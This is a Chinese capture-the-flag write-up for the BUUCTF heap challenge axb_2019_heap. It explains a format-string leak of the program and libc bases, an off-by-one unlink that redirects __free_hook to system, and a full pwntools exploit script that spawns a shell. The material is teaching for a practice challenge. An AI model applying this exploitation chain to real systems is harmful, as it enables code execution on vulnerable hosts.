[BUUCTF]PWN——axb_2019_heap(格式化字符串,off-by-one,unlink)

axb_2019_heap

附件

步骤:

  1. 例行检查,64位程序,保护全开
    在这里插入图片描述
  2. 本地试运行一下,看看大概的情况,经典的堆题的菜单
    [BUUCTF]PWN——axb_2019_heap(格式化字符串,off-by-one,unlink)_第1张图片
  3. 64位ida载入
    main()
    [BUUCTF]PWN——axb_2019_heap(格式化字符串,off-by-one,unlink)_第2张图片
    banner()
    [BUUCTF]PWN——axb_2019_heap(格式化字符串,off-by-one,unlink)_第3张图片
    add()
    [BUUCTF]PWN——axb_2019_heap(格式化字符串,off-by-one,unlink)_第4张图片
    delete()
    [BUUCTF]PWN——axb_2019_heap(格式化字符串,off-by-one,unlink)_第5张图片
    edit()
    [BUUCTF]PWN——axb_2019_heap(格式化字符串,off-by-one,unlink)_第6张图片
    edit()里的get_input
    [BUUCTF]PWN——axb_2019_heap(格式化字符串,off-by-one,unlink)_第7张图片

利用思路

  • 由于有PIE所以我们首先利用格式化字符串泄露 libc 和程序基址。
  • 运用 unlink ,将 chunk 0 的地址覆写为 free_hook 的地址。
  • 将system 地址写入 free_hook。
  • 触发写入了 ‘/bin/sh’ 的块的删除,执行 system(’/bin/sh’)。

利用过程

  1. 首先动调一下,利用格式化字符串漏洞去泄露libc和程序基址
    启动gdb: gdb gdb axb_2019_heap
    在main函数处下断点: b main
    运行程序直到断点run
    单步步过n
    一直n到进入banner(),此时让我们输入name,随便输入
    [BUUCTF]PWN——axb_2019_heap(格式化字符串,off-by-one,unlink)_第8张图片
    现在要单步步入,函数跟踪s,sni配合着使用,来到这边
    [BUUCTF]PWN——axb_2019_heap(格式化字符串,off-by-one,unlink)_第9张图片
    这把就是ida里分析出来的有格式化字符串漏洞的地方
    [BUUCTF]PWN——axb_2019_heap(格式化字符串,off-by-one,unlink)_第10张图片
    看一下寄存器里的值:regs,64位程序传参要用到寄存器,图中框子标出来的是用来传参的寄存器
    [BUUCTF]PWN——axb_2019_heap(格式化字符串,off-by-one,unlink)_第11张图片
    看一下此时的栈布局:stack 50
    [BUUCTF]PWN——axb_2019_heap(格式化字符串,off-by-one,unlink)_第12张图片
    图中标了两个地址,一个是main+28的代码段,一个是libc_start_main+240的libc_base,加上前面有6个寄存器,rdi, rsi, rdx, rcx, r8, r9,因此main+28的相对偏移是11,libc_start_mian+240的相对偏移是15,利用格式化字符串漏洞,name传入%11$p%15$p就可以泄露这两个值
p.recvuntil('name: ')
p.sendline('%11$p%15$p')
p.recvuntil('Hello, ')
base=int(p.recv(14),16)-28-0x116A     #0x116A是main函数的地址
libcbase=int(p.recv(14),16)-libc.sym['__libc_start_main']-240
system=libcbase+libc.sym['system']
free_hook=libcbase+libc.sym['__free_hook']
  1. 运用 unlink ,将 chunk 0 的地址覆写为 free_hook 的地址。
    首先是计算一下bss段的地址,用来unlink,顺便创建一下堆
bss=base+0x202060  #0x202060是bss段的起始地址
add(0,0x98,'aaaa')#0
add(1,0x98,'bbbb')#1
add(2,0x90,'cccc')#2
add(3,0x90,'/bin/sh\x00')#3

此时的堆布局
[BUUCTF]PWN——axb_2019_heap(格式化字符串,off-by-one,unlink)_第13张图片
利用off-by-one来修改chunk0

payload=p64(0)+p64(0x91)+p64(bss-0x18)+p64(bss-0x10)+p64(0)*14+p64(0x90)+'\xa0'
edit(0,payload)

[BUUCTF]PWN——axb_2019_heap(格式化字符串,off-by-one,unlink)_第14张图片
成功修改掉了chunk0的fd和bk
运用 unlink ,将 chunk 0 的地址覆写为 free_hook 的地址

delete(1)
edit(0,p64(0)*3+p64(free_hook)+p64(0x10))

[BUUCTF]PWN——axb_2019_heap(格式化字符串,off-by-one,unlink)_第15张图片

将free改写成systemedit(0,p64(system))
[BUUCTF]PWN——axb_2019_heap(格式化字符串,off-by-one,unlink)_第16张图片
最后free(chunk3),chunk3里写的bin/sh,这样就能获取shell了
动调时候的bss段,每次不一样,success("bss:"+hex(bss))输出一下即可
[BUUCTF]PWN——axb_2019_heap(格式化字符串,off-by-one,unlink)_第17张图片

完整exp

from pwn import *

#p = remote("node3.buuoj.cn",26144)
p = process("./axb_2019_heap")

context.log_level = 'debug'

elf = ELF("./axb_2019_heap")
libc = ELF('./libc-2.23-64.so')

def add(idx,size,content):
	p.sendlineafter('>>','1')
	p.sendlineafter('):',str(idx))
	p.sendlineafter('size:',str(size))
	p.sendlineafter('content:',content)
 
def delete(idx):
	p.sendlineafter('>>','2')
	p.sendlineafter('index:',str(idx))
 
def edit(idx,content):
	p.sendlineafter('>>','4')
	p.sendlineafter('index:',str(idx))
	p.sendlineafter('content: \n',content)
 
def show():
	p.sendlineafter('>>','3')

p.recvuntil('name: ')
p.sendline('%11$p%15$p')
p.recvuntil('Hello, ')
base=int(p.recv(14),16)-0x1186
#success("base:"+hex(base))
libcbase=int(p.recv(14),16)-libc.sym['__libc_start_main']-240
system=libcbase+libc.sym['system']
free_hook=libcbase+libc.sym['__free_hook']

bss=base+0x202060
success("bss:"+hex(bss))
add(0,0x98,'aaaa')#0
add(1,0x98,'bbbb')#1
add(2,0x90,'cccc')#2
add(3,0x90,'/bin/sh\x00')#3
 
#gdb.attach(p)
 
payload=p64(0)+p64(0x91)+p64(bss-0x18)+p64(bss-0x10)+p64(0)*14+p64(0x90)+'\xa0'
edit(0,payload)
#gdb.attach(p)
delete(1)

edit(0,p64(0)*3+p64(free_hook)+p64(0x10))
#gdb.attach(p)

edit(0,p64(system))
#gdb.attach(p)

delete(3)
 
p.interactive()

在这里插入图片描述

参考wp:https://www.cnblogs.com/luoleqi/p/12422495.html

你可能感兴趣的:(BUUCTF刷题记录,PWN)